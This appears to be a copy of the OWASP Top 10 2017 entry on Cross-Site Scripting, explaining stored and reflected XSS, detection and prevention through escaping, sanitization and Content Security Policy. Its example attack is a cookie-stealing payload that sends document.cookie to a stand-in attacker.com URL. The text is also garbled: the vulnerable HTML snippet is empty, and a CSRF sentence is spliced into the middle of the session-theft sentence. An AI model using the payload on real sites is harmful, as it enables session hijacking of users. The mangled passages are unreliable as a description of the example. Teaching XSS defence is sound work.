Top 10-2017 A7-Cross-Site Scripting (XSS)

 Consider anyone who can send untrusted data to the system, including external users, business partners, other systems, internal users, and administrators.  Attackers send text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.

 XSS flaws occur when an application updates a web page with attacker controlled data without properly escaping that content or using a safe JavaScript API. There are two primary categories of XSS flaws: (1) Stored and (2) Reflected, and each of these can occur on the a) Server  or b) on the  Client. Detection of most Server XSS flaws is fairly easy via testing or code analysis. Client XSS is very difficult to identify.  Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc. Consider the business value of the affected system and all the data it processes.

Also consider the business impact of public exposure of the vulnerability.

You are vulnerable to Server XSS if your server-side code uses user-supplied input as part of the HTML output, and you don’t use context-sensitive escaping to ensure it cannot run. If a web page uses JavaScript to dynamically add attacker-controllable data to a page, you may have Client XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs, but escaping (and to a lesser extent) input validation can be used to make this safe.

Automated tools can find some XSS problems automatically. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, usually using 3rd party libraries built on top of these technologies. This diveristy makes automated detection difficult, particularly when using modern single-page applications and powerful JavaScript frameworks and libraries. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.

Preventing XSS requires separation of untrusted data from active browser content.
 * 1) To avoid Server XSS, the preferred option is to properly escape untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
 * 2) To avoid Client XSS, the preferred option is to avoid passing untrusted data to JavaScript and other browser APIs that can generate active content. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the OWASP DOM based XSS Prevention Cheat Sheet.
 * 3) For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
 * 4) Consider Content Security Policy (CSP) to defend against XSS across your entire site.

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

(String) page += "";

The attacker modifies the 'CC' parameter in their browser to:

'> document.location= ' h ttp://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie '.

This attack causes the victim’s session ID to be sent to the the application might employ. See 2017-A8 for info on CSRF. attacker’s website, allowing the attacker to hijack the user’s current session.

Note that attackers can also use XSS to defeat any automated CSRF defense

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 * Types of Cross-Site Scripting
 * [[XSS (Cross Site Scripting) Prevention Cheat Sheet | OWASP XSS Prevention Cheat Sheet
 * OWASP DOM based XSS Prevention Cheat Sheet
 * OWASP Cross-Site Scripting Article
 * ESAPI Encoder API
 * ASVS: Output Encoding/Escaping Requirements (V6)
 * OWASP AntiSamy: Sanitization Library
 * Testing Guide: 1st 3 Chapters on Data Validation Testing
 * OWASP Code Review Guide: Chapter on XSS Review
 * OWASP XSS Filter Evasion Cheat Sheet


 * CWE Entry 79 on Cross-Site Scripting